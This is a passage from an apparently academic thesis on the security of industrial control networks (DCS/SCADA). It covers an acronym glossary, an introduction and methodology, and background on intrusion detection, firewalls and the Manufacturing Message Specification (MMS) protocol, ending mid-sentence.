shared peripheral devices. If there is a central network device, it is a file server
that includes resources of use to all. To keep two workstations from accessing the
LAN at the same time, LANs employ a Medium Access Control (MAC) protocol;
ethernet is one such protocol.
MAP Manufacturing Automation Protocol MAP is used interchangeably when describing three aspects of a General Motors effort to develop a multi-vendor Local Area
Network for communication among intelligent devices in a factory environment.
Map is: 1. A multi-vendor task force addressing the problems of a plant floor
computer communications; 2. The specification recommended by the task force;
3. An AES project team whose goal is to implement networks that adhere to the
MAP specifications.
MMS Manufacturing Message Specification MMS is an application level protocol that
provide ’peer to peer’ real-time communications over a TCP/IP network. It is an
ISO 9506 standard. Control Networks uses the MMS protocol above the TCP/IP
protocol in the transport/network layer, and Ethernet and/or RS-232C as physical media. The protocol defines communication messages transferred between
controllers as well as between the engineering station and the controller (e.g. downloading an application or reading/writing variables).
NTP Network Time Protocol NTP is an Internet standard protocol running on top of
TCP/IP.It assures accurate synchronization, to the millisecond, of computer clock
times in a network of computers by querying NTP Servers.
OLE Object Linking and Embedding OLE is a distributed object system and protocol
developed by Microsoft. Its primary use is for managing compound documents,
but it is also used for transferring data between different applications using drag
and drop and clipboard operations.
OPC OLE for Process Control OPC is an open connectivity standard for industrial
automation and the enterprise systems that support industry standards. OPC
xvi
specifies the communication of real-time plant data between control devices from
different manufacturers. It was designed to bridge Windows based applications
and process control hardware and software applications.
OSI Open System Interconnection OSI is an ISO standard for worldwide communications that defines a networking framework for implementing protocols in seven
layers. Control is passed from one layer to the next, starting at the application
layer in one station, proceeding to the bottom layer, over the channel to the next
station and back up the hierarchy. Except for the OSI-compliant X.400 and X.500
e-mail and directory standards, what was once thought to become the universal
communications standard now serves as the teaching model for all other protocols.
Most of the functionality in the OSI model exists in all communications systems,
although two or three OSI layers may be incorporated into one.
PDU Protocol Data Unit PDU is a generic definition of a protocols basic communication
unit.
PLC Programmable Logic Controller PLC is a highly reliable special-purpose computer
used in industrial monitoring and control applications. PLCs typically have proprietary programming and networking protocols, and special-purpose digital and
analog I/O ports.
RPC Remote Procedure Call RPC is designed for programs to make subroutine calls
on other systems. It is ssentially a request-reply protocol, RPC usually makes
heavy use of UDP datagrams, adding its own facilities for insuring data transfer.
RPC implementations generally do not yield TCP-quality performance, so its use
is mostly limited to local area networks. Its most important application is the file
sharing via the NFS protocol.
SCADA Supervisory Control and Data Acquisition SCADA systems are used in industrial and civil engineering applications to control distributed systems from a
master location. It is used to provide real-time instructions to plant automation
equipment such as programmable logic controllers (PLC). SCADA is a very broad
umbrella that describes solutions across a large variety of industries, including but
not limited to the following: Electric power generation, Oli installations, process
plants and Manufacturing systems.
SNMP Simple Network Management Protocol SNMP is an IETF protocol used for
network management and the monitoring of network devices and their functions.
Even though SNMP is one of the TCP/IP protocols, it is not restricted to use in
TCP/IP networks. SNMP uses ASN.1 for encoding of messages. The managed
objects supported by a given device are encoded in its MIB (Management Information Base) or schema description. SNMP entities include managers and agents
(both proxy and non-proxy), and a simple messaging protocol is used between these
entities. Operations from the manager side include set (modify) and get (retrieve),
and agents can respond these with reference to a security framework. Agents can
xvii
also issue notifications or traps to manager in order to indicate important events
SSL Secure Sockets Layer SSL is used by most commercial servers on the World Wide
Web today. This high-level security protocol protects the confidentiality and security of data while it is being transmitted through the internet. Based on RSA
Data Security’s public-key cryptography, SSL is an open protocol that has been
submitted to several industry groups as the industry security standard. SSL is
denoted by the letters HTTPS in the URL.
TCP Transport Control Protocol TCP is one of the main protocols in TCP/IP networks. Whereas the IP protocol deals only with packets, TCP enables two hosts
to establish a connection and exchange streams of data. TCP guarantees delivery
of data and also guarantees that packets will be delivered in the same order in
which they were sent.
TLS Transport Layer Security TLS is a layer providing encryption and authentication
services that can be negotiated during the startup phase of many Internet protocols
(eg SMTP, LDAP, IMAP, POP3). TLS is derived from SSL and uses the same
certificates but does not require each service to be given a new port number.
TPKT Transport packet Transport packet (TPKT) is a packet format decribed in RFC
1006. It is used to emulate International Standards Organizations (ISO) connection
oriented transport protocol service as described in the Open System Interconnection (OSI) modell on top of Transport Control Protocol (TCP).
UDP User Datagram Protocol UDP is defined in RFC 768. UDP offers a limited
amount of service on top of IP and provides a procedure for application programs
to send messages to other programs with a minimum of protocol mechanism. The
protocol is transaction oriented, and delivery and duplicate protection are not
guaranteed. UDP provides two services not provided by the IP layer. It provides
port numbers to help distinguish different user requests and, optionally, a checksum
capability to verify that the data arrived intact.
VMD Virtual Manufacturing Device VMD is a software model of the functionality of
a real deviee. The model maps directly onto the real device. It is a part of the
Manufacturing Message Specification (MMS).
VPN Virtual Private Network VPN (VPN) is a service to communicate through a
dedicated server securely to a corporate network over the internet. VPNs are
useful when a field operative needs to securely connect to a corporate server but
only has general access to the internet. VPNs are defined by a network of secure
links over a public IP infrastructure. These includes technologies such as Point-toPoint Tunnelling Protocol, Layer 2 tunnelling protocol and IP Security.
xviii
Chapter 1
Introduction
Supervisory Control and Data Acquisition (SCADA) or Distributed Control System
(DCS), particularly those used in critical control systems in the petroleum and power
industry, have traditionally been designed to address the issues of performance, dependability, flexibility and safety, with little regard to security. These industries are known
to focus on health, environment and safety procedures, but similar practices information security seem to be have been neglected or ignored. The use of tools like Telnet,
which are discontinued and considered insecure in the information technology world are
still used in industrial networks. Ignoring security issues might have an acceptable risk
when each network was a sealed system running proprietary protocols, but lately these
systems are mirroring the changes in the IT world. They are converging on an Internet
Protocol (IP) platform and as a result their DCS networks are directly connected to
their company’s corporate network.
By using common networking technologies these systems now play an important part
in Integrated Operations in the oil and gas industry. The drawback of allowing these
systems to connect to corporate networks, is that they become exposed to the threats of
the Internet.
There are several documented cases of intentional attacks against these systems. In
march 1998, a teenager in Worchester, Massachusetts disabled part of the public switching network using a dial up modem connected to the system. This knocked out the phone
services at the control tower on the local airport as well as their main radio transmitter
and the system that monitors flight progress [CNN98]. Another incident occurred in august 2003 when the Microsoft SQL server worm, Slammer, infected a private computer
network at the idled Davis-Besse nuclear power plant in Oak Harbor, Ohio, disabling a
safety monitoring system for nearly five hours. The worm caused a failure in the plant’s
process control computer. It also affected communications on the control networks of at
least five other utilities by propagating so quickly that control system traffic was blocked
[Hig03] [sec03]. These examples demonstrate the importance of integrating information
security in these systems that control critical infrastructure in today’s society.
1
2
CHAPTER 1. INTRODUCTION
On the demarcation line where Information Technology (IT) meets automation systems
two different paradigms collide. The automation world must integrate the concept of
information security throughout the entire DCS life-cycle including design, installation,
operation maintenance and retirement. Here lies the challenge of making the two worlds
cooperate.
1.1
Problem Description and Limitation
In this thesis we will study the security of industrial networks. We will focus on how the
industrial protocols are implemented and the security level they offer vs. what is needed.
We will examine a selection of protocols and devices at ABB Communication’s lab in
Billingstad (Oslo) where we will use tools analyze the security of these devices. We will
in this thesis not focus on firewalls and other technologies used to secure networks, but
we will mention these technologies where we find it natural. Instead, we will focus on
device security in industrial devices such as switches, controllers and also look at security
in industrial protocols. We do not focus on identifying the characteristics of an attacker
as we feel this is outside the scope of this thesis.
1.2
Research Methodology
The title of this thesis is Security in industrial networks, and in an attempt to formalize
our work, we feel that we must include a brief discussion of research methodology. We
feel that the scientific methodology of classical research, where we define a hypothesis
and then conduct tests to support our hypothesis, does not apply to our technological
specialization field. According to Merriam-Webster’s thesaurus [Mer07] research is “a
systematic search for the truth or facts about something”. Therefore we turn to [41] to
define our work. There they define technology research as “scientific technology involving
the production of new or improved devices especially in the fields of electronics and
computers”. We feel that this is a much more adequate definition of our work. Glass
[24] presents possible four models for use in scientific research:
1. The Scientific Method Observe the world, propose a model or theory of behavior, measure and analyze, validate hypotheses of the model or theory and if
possible repeat.
2. The Engineering Method Observe existing solutions, propose better solutions,
build or develop, measure and analyze, repeat until no further improvements are
possible.
3. The Empirical Method Propose a model, develop statistical or other methods,
apply to case studies, measure and analyze, validate the model, repeat.
1.3. SCADA AND DCS
3
4. The Analytical Method Propose a formal theory or set of axioms, develop a
theory, derive results, and if possible compare with empirical observations.
In our work we will mainly follow the engineering method, but there may be elements
from the other models involved in our work. We will preform a series of experiments on
equipment provided by ABB CRC and analyze those results and propose improvements
to the equipment and their intended use. We have not focused on finding quantifiable
results in this thesis, but rather use qualitative means to assess the security of the
protocols and equipment in question. We will also attempt to verify specific statements
from other scientist’s work through a ”proof-of-concept” attack. These statements relate
directly to the main subject addressed in this thesis and we feel therefor that such
experiments fall directly under the The Engineering Method.
1.3
SCADA and DCS
The abbreviations Supervisory Control and Data Acquisition (SCADA) and Distributed
Control System (DCS) both describe and relate to the same type of industrial control
system. The abbreviation SCADA is used in American journals and in the power producing industry. DCS is the equivalent European abbreviation and is used by the oil
and gas industry and other process industries. As both terms describe the function of
using industrial control systems to control a production process in an industrial plant
through IT and automation techniques, and the only thing separating these functions are
geographical and inter-industrial naming issues we have chosen to include this section
where we clarify the use of these terms throughout the rest of this thesis.
To avoid any potential misunderstandings, we have been advised by our supervisors to
use the term DCS for both Supervisory Control and Data Acquisition (SCADA) and
Distributed Control System (DCS) systems, as this is the most common term used by
the intended readers of this thesis. Therefor, in this thesis we will use the abbreviation
DCS even though most scientific papers we use as references use the term SCADA. The
only exception from this rule is when the term SCADA is present in the title of a paper
or when we are quoting directly from another written source. We will always revert to
the term Distributed Control System (DCS) after such a passage.
1.4
Outline of the Thesis
In this section we present the outline of this thesis and some remarks regarding textual
conventions and formatting used in this thesis. The remaining part of this thesis are
organized as follows:
In chapter two we give an introduction of important terms and background information
on the Manufacturing Message Specification (MMS) discussed in this thesis. Chapter two
4
CHAPTER 1. INTRODUCTION
also present relevant related work. Chapter three discusses ”state of the art” technologies
related to DCS network, mainly focusing on security issues. In chapter four we preform a
complete analysis of the implemented MMS stack and intercepted MMS communication.
We also show how the implemented MMS stack differ from the original Manufacturing
Message Specification (MMS) defined by International Standards Organizations (ISO).
In chapter five we discuss test methodology used in our tests and provide a short description of the tools utilized in testing industrial switches and controllers for vulnerabilities.
In chapter six we present the industrial devices we are testing. Chapter seven presents
the test results for each device, followed by a discussion of the detected vulnerabilities
and suggested mitigation paths. In chapter eight we perform a ”proof-of-concept” packet
crafting attack on the MMS by attacking one industrial controller. In chapter nine we
discuss the consequences of our findings from a network point of view and give a short
evaluation of the tools used in this thesis and how well they adapt to testing industrial
devices. Chapter ten presents further work, identifying areas we feel should be examined
further. In chapter eleven we present our concluding remarks.
All Abstract Syntax Notation One (ASN.1) keywords in this thesis are italicized and
printed in capital letters for easy identification. Excerpts from ASN.1 module definitions
will be printed in the text for easy reference, but we have chosen to omit the whole module
definitions from the text as they tend to be very large. We have included these ASN.1
module definitions in the appendices. ASN.1 object names are italicized and by ASN.1
convention written as a mixed case with a lowercase first letter and capital first letters
for internal words, e.g, authentificationFailure.
All reports generated form security scanners and other relevant tools are included in the
appendices. We have removed all service fingerprints for unknown services from Nmap
report to save space and improve the overall readability of these reports.
All numbers in this thesis, except decimal numbers will have their base indicated in
front of them, we use 0b for binary numbers and 0x for hexadecimal numbers. The
exception from this is printouts and analysis of Protocol Data Unit (PDU) which always
are encoded as hexadecimal octets.
We have distinguished printed references from their web-based counterparts to clarify
the origin of the references used in this thesis. The printed references are cited using numerical values (e.g. [1]), while web resources are cited using citation style (e.g.
[CNN03]). All web references have been verified and are available as of today (July 17,
2007). Additionally, we emphasize that the usage of first person plural (i.e we), is only
due to common convention and is therefore to be interpreted as the author. This thesis
is written in LaTeX.
Chapter 2
Background
In this chapter we will present some important background information on security and
protocols used in industrial networks.
2.1
Definitions
Before we can look into the security of industrial networks, it is important to have a common understanding of the underlying concepts, protocols and technical terms describing
such networks. We will not dwell on details of these definition, but we will clarify the
meaning of these terms and how they are used in this thesis.
2.1.1
Security
We observe that the term “security” sometimes is used in the semantic context of “safety”
in the automation world. Security and safety are not two disjoint sets as a malicious
attack by an adversary on the DCS network, may cause a safety incident. Not all security
incidents relate to safety and there are many safety incidents that have nothing to do
with security, so the sets intersect only partially. A Denial-Of-Service (DOS) attack on
a plants network, resulting in a controlled shutdown of the plant is a serious security
incident and it may cost millions to restore production to normal, but unless the DOS
attack had consequences for the environment or user(s), it is not a safety incident. We
therefore stress at in this thesis the term security will always refer to information security,
and safety will be used for mechanisms that prevent undesirable consequences for the
environment or user(s).
There exist numerous definitions of security, all varying slightly in wording. To define
security we will use the definition given by Shirey in RFC 2828 [40]:
1. Measures taken to protect a system.
5
6
CHAPTER 2. BACKGROUND
2. The condition of a system that results from the establishment and maintenance of
measures to protect the system.
3. The condition of a system’s resources being free from unauthorized access and from
unauthorized or accidental change, destruction, or loss.
We also include the definition from Laprie[8], who defines security as the “composite of
the attributes of confidentiality, integrity, and availability”. We will use the definition of
Laprie as it is shorter and more to the point, but have included the more wordy definition
from [40] to stress the difference from “safety”.
2.2
Dependability
The dependability of a system is defined by Helvik in [27] as the trustworthiness of
a system such that reliance can justifiably be placed on the service it delivers. Laprie
has a different definition in [8], which we find more suitable in this thesis. He defines
dependability as the ability of a system to avoid service failures that are more frequent
or more severe than is acceptable. Dependable systems often rely on redundancy and
diversification to achieve high levels of system availability and reliability. We wish to
use Laprie’s Taxonomy of dependability to formalize the concepts later used in this
project. As we can see in figure 2.1, Laprie classifies the concepts of dependability in
three attribute classes.
Figure 2.1: Laprie‘s Taxonomy of dependability [29]
The possible “down conditions” that can effect a system’s dependability are classified
under impairments in figure 2.1.
2.3. SURVIVABILITY
7
The means to achieve a dependable computing system include a set of methods that can
be classified into four categories [29]:
• Fault-avoidance: means to prevent the occurrence or introduction of faults.
• Fault-tolerance: means to avoid service failures in the presence of faults.
• Error-removal: means to reduce the number and severity of faults.
• Error-forecasting: means to estimate the present number, the future incidence
and the likely consequences of faults.
To survey a system’s dependability one uses the measures of reliability and availability.
2.3
Survivability
Survivability has to be defined in the correct context. The old term of survivability was
a measure of how many nodes the enemy had to destroy before bringing the network
down. We define all actions that are potentially damaging to the system as threats.
A successful attack termed an incident. We use the term survivability, as described
in [19] by Ellison et al., to describe the systems ability to resist or tolerate incidents.
Ellison et al. defines survivability as the capability of a system to fulfill its mission,
in a timely manner, in the presence of attacks, failures, or accidents. An attack is a
potentially damaging event orchestrated by an intelligent adversary whereas failures are
incidents caused by deficiencies inside the system and accidents are incidents with a
random external cause.
We observe that Ellison et al. [19] focus on the impact of the incident rather the the
cause, because of the difficulty in separating an attack from a random system failure.
Laprie et al. concludes that the concepts of dependability and survivability are essentially
equivalent [29]. Ellison et al. argues that survivability describes a slightly different
concept than survivability [19]. They differ on the point of how they define a system. In
classical survivability thinking, the system is either capable of fulfill its mission (up) or
in a failed state (down). There are no intermediary states where the system is degraded
or partially working as we find in dependability thinking. Ellison et al also states that
survivability focus on man-made faults caused by malicious attacks, while dependability
mainly focus on the statistical probability of one or more accidental faults. We tend to
agree with Ellison et al. and will in this thesis use survivability in the context the ability
to resist malicious activity and attacks.
8
2.4
CHAPTER 2. BACKGROUND
Means of Network Protection
We will in this section provide a brief introduction to the tools used to protect a network
and its hosts from malicious network traffic.
2.4.1
IDS
To date, it seems unlikely that we ever will be able to completely prevent security
breaches. Therefore we must try to detect these intrusions as they occur and take action
to prevent the attackers from doing further damage. There are many ways of detecting
and classifying attacks. Due to the enormous amount and diversity of attacks this is
clearly a task for a computer. The standard way of detecting attacks today is by using
an IDS. There are two types of IDS systems; Host based and network based IDS systems.
The network based IDS monitor network traffic to determine if an intrusion has occurred.
It can use two basic methods of detection, signature- and anomaly-based detection [16].
All network traffic is scanned by the IDS looking for specific features or patterns that
might indicate an attack or intrusion. Signature based methods, also known as misuse
detection [15], looks for a specific signature to match, which would signal an intrusion.
A misuseIDS uses a database of traffic and activity patterns related to known attacks to
identify and categorize malicious activity on the network. This is somewhat similar to
virus detection since it can only can detect known patterns and thus leave the system
open for “zero day exploits”. The default setup of Snort [Sno07] uses signature-based
detection.
Another approach to intrusion detection is called anomaly detection. Anomaly-based
systems attempt to map events to the point where they “learn” what is normal and then
detect behavior that diverge from this norm. Anomaly detection techniques assume that
all intrusive activities are necessarily anomalous. The greatest challenge in such systems
is to select thresholds levels that avoid false positives. DeLooze proposes to use Selforganizing maps and unsupervised learning techniques to categorize attacks. Her results
shows that she generated a very low amount of false positives using this technique with
a overall detection rate of 97.31 % [15].
A host based IDS use a more general strategy, it detects unwanted changes in the system
state. The idea is that intruders, in order to perform some action on the system, will
change the system state by leaving traces of their actions. By monitoring key parameters
such as binary signatures and size of files that should not change a program can detect
intrusions through changes in data integrity. The program generates a database with
signatures of important files using some hash-function and detect discrepancy between
the actual file and the database signature. In most cases this requires the database to
be located on a physically different location. One such host based IDS is SAMHAIN
[SAM07].
2.4. MEANS OF NETWORK PROTECTION
2.4.2
9
Firewalls
When designing a network the Firewall often represent the first line of defense in any
network. A firewall control and monitor the flow of network traffic between internal
network employing different security measures and the Internet It compares the traffic
passing through it to a set of predefined security criteria/rules, discarding messages that
do not match the security criteria’s requirements. Normally several layers of firewalls
are deployed to restrict network traffic between network segments with different security
postures. We normally distinguish between host-based and network based firewalls.
Network based firewalls are often standalone hardware devices or a hardware/software
combination with an OS-based firewall such as IPTables.
Host-based firewalls reside at an endpoint, at one (specific IP address on a host). Hostbased firewall will often have less strict rule setts as their primary objective is to provide
a service to other hosts such as database access or printing service. Host based firewall
solutions are to our knowledge only available for computers, not embedded devices such
as controllers and other process equipment. Therefor the firewall technology, can only
act as a perimeter defense against network threats, as the embedded devices do not have
the processing power or memory to preforms such tasks.
Based on [26] we have chosen to classify packet filtering firewalls into three classes. We
will provide a brief description of these classes:
• Header inspection Firewalls: The most basic type of firewall is often referred to
as a Header inspection firewalls. Header inspection firewalls are essentially routing
devices containing an access control functionality for combinations of IP addresses
and port numbers. The access control functionality is defined in a set of actions
referred to as a rule set Header inspection firewalls limit their inspection to layer
3 and 4 of the Open System Interconnection (OSI) model. The firewall will match
fields and flags in the IP and Transport Control Protocol (TCP) header, such as
IP source and TCP SYN flags, against the firewall rule set and, depending on the
rule set, drop or forward the packet or in some cases send a message back to the
packet source [26].
• Stateful Inspection Firewall: While simple firewalls make filtering decisions
based on each packet, stateful inspection firewalls are packets filters that incorporate added awareness of data streams. Stateful inspection keeps track of active
sessions and uses that information to determine if packets should be forwarded or
blocked. This allows the firewall to keep state tables that link the individual packet
to a connections and make more intelligent decisions based on this information.
This allows the firewall to deal with fragmented IP packages and User Datagram
Protocol (UDP) streams. Early stateful inspection firewalls used a static rule set,
but now modern firewalls may change the rule set based on input to the filter. This
is known as dynamic packet filtering [26].
10
CHAPTER 2. BACKGROUND
• Application and Proxy-Gateway Firewalls: Even though there are some differences between an application-gateway and a proxy-gateway firewall we have
chosen to describe both under the same heading as they both operate on the same
layer. An application gateway firewall examines packets at the application PDU
layer and filters traffic based on specific application rules, such as allowing specified applications (e.g., browsers) or denying certain protocols (e.g., File Transfer
Protocol (FTP)). An application gateway might also buffer several lower layer
PDUs to examine a whole application layer PDU and match it against known
virus signatures [26]. It performs per packet inspection on data streams passing
through the firewall, but does not alter a legal connection. The proxy gateway remove the possibility of a host directly interacting with the Internet, instead a host
must connect to the proxy gateway and it will initiate a connection to the requested
host [26]. The proxy gateway acts as a relay for requests maybe by the internal
network to the outside world. This is also the strategy used in De-Militarized
Zone (DMZ).
2.4.3
Anti-Virus
Anti-virus software are computer programs that attempt to identify, quarantine or eliminate computer viruses and other malicious software. To detect a virus the anti-virus
software may use different techniques. It may use a signature database and match known
viral code patterns to identify viruses, either in real-time or on scheduled scans. Virus
authors try to thwart the use of signature databases by writing oligomorphic, polymorphic or metamorphic viruses. These viruses permutate or encrypt parts of their code to
disguise themselves as legitimate files. To detect such viruses other approaches are used.
One approach is to monitor the system for suspicious behavior. This type of software
aims at detecting e.g., write operations to an executable file. Using a heuristic analysis
or a sandbox system is yet another way of detecting a virus. The sandbox emulates
primary function of a operating system and simulate the execution of any program prior
to the actual execution. After the simulation has terminated, the anti-virus software
analyzes the sandbox for any changes that might indicate a virus.
As the malware issue is a vast field of research on its own and not limited to DCS systems
we will not discuss this topic further in this thesis.
2.5
Concepts and Architecture of DCS Systems
To explain on an abstract level what a DCS network does we use figure 2.2. At the core
we find the controlled process, it takes an input and produces an output. The process it
self can be a number of industrial processes occurring at any plant nearby, e.g., producing
hydro electricity or pumping and refining natural gas from the seabed. To monitor this
process the DCS network collects data from sensors through controllers. This might be
2.5. CONCEPTS AND ARCHITECTURE OF DCS SYSTEMS
11
pressure from a valve or the amount of oxygen left inside a sealed gas tank. These values
are reported back to human operators at the Human-Machine Interface (HMI)1 . Based
on these reports human operators or computerized processes give input to the process
through the controller. The input may be to control parameters for some device used in
the process e.g., valves, pumps or motor drives. In addition to the entities depicted in
figure 2.2 there are remote diagnostics and maintenance utilities connected to all devices,
to prevent, identify and recover from failures.
Figure 2.2: An abstract view of an automation network process
[45]
As the automation industry is converging on an IP platform, more and more embedded
devices contain an ethernet interface and use IP based industrial protocols to communicate. This poses new risks to DCS networks as many of the industrial protocols are not
designed to cope with information security issues. The introduction of integrated operations in the oil and gas industry has provided many benefits such as reduced costs, longer
life for petroleum fields, reduced environmental loads, and improved safety measures and
recovery rates. But it has also changed the information flow between DCS, corporate
and subcontractor’s networks. The information inside the DCS is accessed to support
various analysis ranging from statistical process control to enterprise level planning as
1
The HMI is software and hardware that allow human operators to monitor the state of the process,
modify control settings and manually override automatic control operations. The location, interface and
platform may vary a great deal. For example a an HMI could be an application running on an MS
Windows XP host, a dedicated platform or a browser on any system connected to the Internet.
12
CHAPTER 2. BACKGROUND
Figure 2.3: An example of a Distributed Control System implementation [45].
2.6. INDUSTRIAL NETWORK PROTOCOL
13
a part of the integrated operations paradigm. As a result the data historian inside the
DCS is often queried for information from the corporate network. A data historian is
a centralized database for logging all process information within a DCS. To provide an
example of a DCS network we have included figure 2.3 from [45].
2.6
Industrial Network Protocol
In this section we will introduce the Manufacturing Message Specification (MMS), a protocol used in industrial networks. We will focus on the basic architecture and functions
of this protocol and wish to provide the reader with relevant background information
needed in the rest of this thesis.
2.6.1
The MMS
MMS is declared an international standard, named ISO 9506, and is currently developed
and maintained by the ISO Technical Committee 184 (TC184). As the ISO standards
format tends to be overwhelming, we will give a overview of the specification here, but for
a more detailed description we refer to the standard [7] and a collection of white-papers
from SISCO [48] [21] [20].
MMS is an application layer protocol which specifies services for exchange of real-time
data and supervisory control information between networked devices and/or computer
applications. It is designed to provide a generic messaging system for communication
between heterogeneous industrial devices. The specification only describes the network
visible aspects of communication. By choosing this strategy, the MMS does not specify the internal workings of an entity, only the communication between a client and a
server, allowing vendors full flexibility in their implementation. In order to provide this
independence, the MMS defines a complete communication mechanism between entities,
composed of:
1. Objects: A set of standard objects which must exist in every conformant device,
on which operations can be executed (examples: read and write local variables,
signal events).
2. Messages: A set of standard messages exchanged between a client and a server
station for the purpose of controlling these objects
3. Encoding Rules: A set of encoding rules for these messages (how values and
parameters are mapped to bits and bytes when transmitted)
4. Protocol: A set of protocols (rules for exchanging messages between devices).
[21]
14
CHAPTER 2. BACKGROUND
MMS composes a model from the definition of objects, services and behavior named the
Virtual Manufacturing Device (VMD) Model. The VMD model uses an object oriented
approach to represent different physical industrial (real) devices in a generic manner.
Some of these objects are variables, variable type definitions, programs, events, historical
logs (called journals) and semaphores. Along with the definition of these objects, MMS
defines a set of communications services that an application can use to manipulate these
objects.
We observe that in the literature the terms services, service primitives and messages are
all used to describe the functions that manipulate objects or their attributes. We will
therefore in this thesis use the term service primitive as this is used in the ISO 9506
standard, unless we are citing directly from a written source, in which case the quote
will be evident in the text. The standard also refers to physical industrial devices as “real
devices” and we will continue to use this terminology to avoid confusion when referring
to [7].
As MMS is based on an object oriented approach, we will give a brief introduction to the
addressing and object hierarchy of MMS, before focusing on the network communication.
Architecture and Addressing
The MMS architecture is based on a common client-server model. Real devices used in
industrial networks often contain an MMS server allowing the device to be monitored
and managed from an MMS client. An MMS client is typically part of an Control
Builder application, Human - Machine Interface (HMI) or an MMS to OLE for Process
Control (OPC) gateway (MMS/OPC GW). The ABB Control Builder is an application
used to program and monitor industrial controllers such as ABB’s AC 800 M. The AC
800 M controller will be further discussed in section 6.4. Both the control builder and
the MMS/OPC GW uses service primitives provided in the MMS to manage devices
containing MMS servers. This is depicted in figure 2.4.
As MMS does not specify how to address clients and servers, an entity containing an
MMS client or server must rely on the addressing scheme of underlying protocols in the
process of establishing an application association to support the MMS environment [7].
In practice, clients and servers are addressed by their IP address and the MMS server
uses TCP port number 102. The addressing allows for an MMS context to be negotiated
between two peer applications.
To address an MMS object variable, MMS provides several different address modes.
MMS allows an address to have different syntax, based on the implementer’s choice of
what is most appropriate for that device. The specification separates between named
and unnamed variables. The unnamed variables are identified by a fixed physical address
in the VMD, expressed by either:
2.6. INDUSTRIAL NETWORK PROTOCOL
15
Figure 2.4: The VMD model depicting communication between an control builder with
an MMS client and a device running an MMS server [48]
• Numeric: A numeric address is represented by an unsigned integer number (e.g.,
Unsigned32 173).
• Symbolic: A symbolic address is represented by a character string (e.g., VisibleString ”C076”).
• Unconstrained: An unconstrained address is represented by a untyped string of
bytes (e.g., An OCTET STRING ”0x57AB”).
[48]
Named variables are identified by an object name (e.g., a string of characters), which
is VMD specific, domain specific or Association-specific. An MMS server may declare
an MMS object variable that does have a specific address, but choose not to reveal this
address to MMS clients. If this is the case the object variable shall be defined locally and
with a specific access method other than public [7]. Access control in MMS is enforced
through the use of access control list objects containing access methods for objects and
appurtenant object variables. The concept of access control lists will be further discussed
in section 4.3. Once an MMS communication context is established between a client and
a server, the standard specifies details for the MMS objects, variables, object hierarchy
and service primitives.
16
CHAPTER 2. BACKGROUND
MMS Objects, Services Primitives and Access Control
Associated with each object is a set of variables that describe values in a given instance
of the object. For each object there are corresponding MMS service primitives that allow
client applications to access and manipulate those objects. The top level object in the
MMS is the VMD which has at least one network-visible address [7].
Each real device is represented by a real object with vendor specific features associated
with them. The VMD model maps the real object and devices onto virtual objects and
devices, described in a generic manner which is in conformance to the VMD model.
In other words a real variable is an element of typed data that is contained within a
VMD object. An MMS variable is part of a virtual object that represents a mechanism
for the MMS client to access the real variable. The MMS server containing the virtual
MMS object can be understood as a communication driver which hides the specifics of
a real device from the client. From the client’s point of view the virtual MMS variable
represents a pointer or an access method to the real variable and it is only the MMS
server with its objects and its behavior that is visible to the client. The MMS client can
never interact with real device variables directly.
All MMS objects contain an access method variable. This attribute contains the information which a device needs to identify the real variable as described above. It contains
values which are necessary to find the memory location of the real variable with the
contents that lie outside MMS. A special method, the method PUBLIC, is standardized
for accessing the real variables.
In table A.1 we present the name of MMS objects together with a short description.
This table can be found in appendix A.1.
For each object there are corresponding MMS service primitives that allow client applications to access and manipulate those objects. The MMS defines the service primitives
of both clients and servers, but the VMD focuses only on specifying the network visible
behavior of MMS servers. And thus, each vendor of an MMS server device is responsible
for hiding vendor specific details of the real objects and devices by providing an executive
function which maps the real entities up to the virtual level, which shall comply with the
VMD model definitions. To ensure vendor implementation compliance with the VMD
model, it specifies how MMS devices containing a MMS server shall provide a consistent
and well defined view of the object contained in the VMD. And thus, MMS provides a
common interface for communication with different devices through the generic virtual
objects.
All MMS objects listed in table A.1, except the Operator Station object inherit six
abstract services from the VMD object. These are depicted and described in table 2.1.
E.g. service primitives read and RequestDomainUpload for the objects Named Variable
List and Domain respectively inherit from the abstract service primitive get.
2.6. INDUSTRIAL NETWORK PROTOCOL
17
MMS General methods
Get
Set
Description
This method is used to obtain the value of a specified object.
This method is used to write/put value or contents into a specified
object.
Query Attributes
This method is used to obtain structure or capability information
of a specified object.
Create
This method allows objects of particular classes to be instantiated.
This method allows instantiated objects to be renamed.
Rename
Delete
This method allows instantiated objects to be destroyed.
Table 2.1: The basic methods (services) inherited from the VMD object [21].
MMS uses access control lists to provide explicit control of the ability to access or
alter MMS objects. Protection requirements for an MMS variable are inherited from
the underlying real variable in the real device. These requirements are established by
the access method in the MMS object. ISO 9506 [7] states that each object within
an MMS implementation must contain a reference to an Access Control List object
that specifies the conditions under which services directed at the named object may
succeed. For the purposes of specifying the control conditions, services are grouped
into six classes as described in table 2.1. Access control is enforced through special
mechanisms provided by MMS. These mechanisms include possession of a semaphore,
identity of user (Application Reference), and the submission of a password (which may
be arbitrarily complex) [7].
Network Services
As we have stated earlier MMS is not by itself a communication protocol, as it only
defines messages that have to be transported by an unspecified network. MMS was
originally developed as a part of the Manufacturing Automation Protocol (MAP) specification and is therefore specified on all seven OSI layers as depicted in figure 2.6. MAP
was originally created by General Motors as an internal standard for communications in
industrial automation networks. It is now a public, multivendor communications standard for industrial automation equipment. For more information about MAP we refer
to [22]. MMS supports the use of both confirmed and unconfirmed services, but we will
in this thesis focus on the confirmed services as it seems like all the equipment we will
be studying run this service type. The MMS defines the following PDUs for a confirmed
service exchange [7]:
1. Confirmed-RequestPDU
2. Confirmed-ResponsePDU
18
CHAPTER 2. BACKGROUND
3. Confirmed-ErrorPDU
4. Cancel-RequestPDU
5. Cancel-ResponsePDU
6. Cancel-ErrorPDU
7. RejectPDU
These messages will be used in the communication between a client and a server when
a client wishes to invoke a service primitive. A normal MMS request between client and
server follows the pattern depicted in figure 2.5 using the enumerated list above.
Figure 2.5: A Confirmed Service state machine as seen by the MMS server (Service
Responder) using the PDUs numbered in the list above [7]. The RejectPDU is not
included in this figure.
Before a service primitive is called through a Confirmed-RequestPDU, the server is in a
Responder Idle state as seen figure 2.5. Upon receipt of a Confirmed-RequestPDU for
any of the confirmed services, the MMS-provider issues an indication primitive specifying
the particular service being requested and an invoke ID that specifies the service instance
and enters the state Service Pending. Upon receipt of a response service primitive containing a result parameter specifying the service previously indicated and an invoke ID
that specifies the service instance, the MMS-provider sends a Confirmed-ResponsePDU
which specifies the service type and the invoke ID from the response primitive. Then
a state transition into the Responder Idle state occurs. Upon receipt of a response
service primitive containing a Result parameter specifying the service previously indicated and an invoke ID that specifies the service instance, the MMS-provider sends a
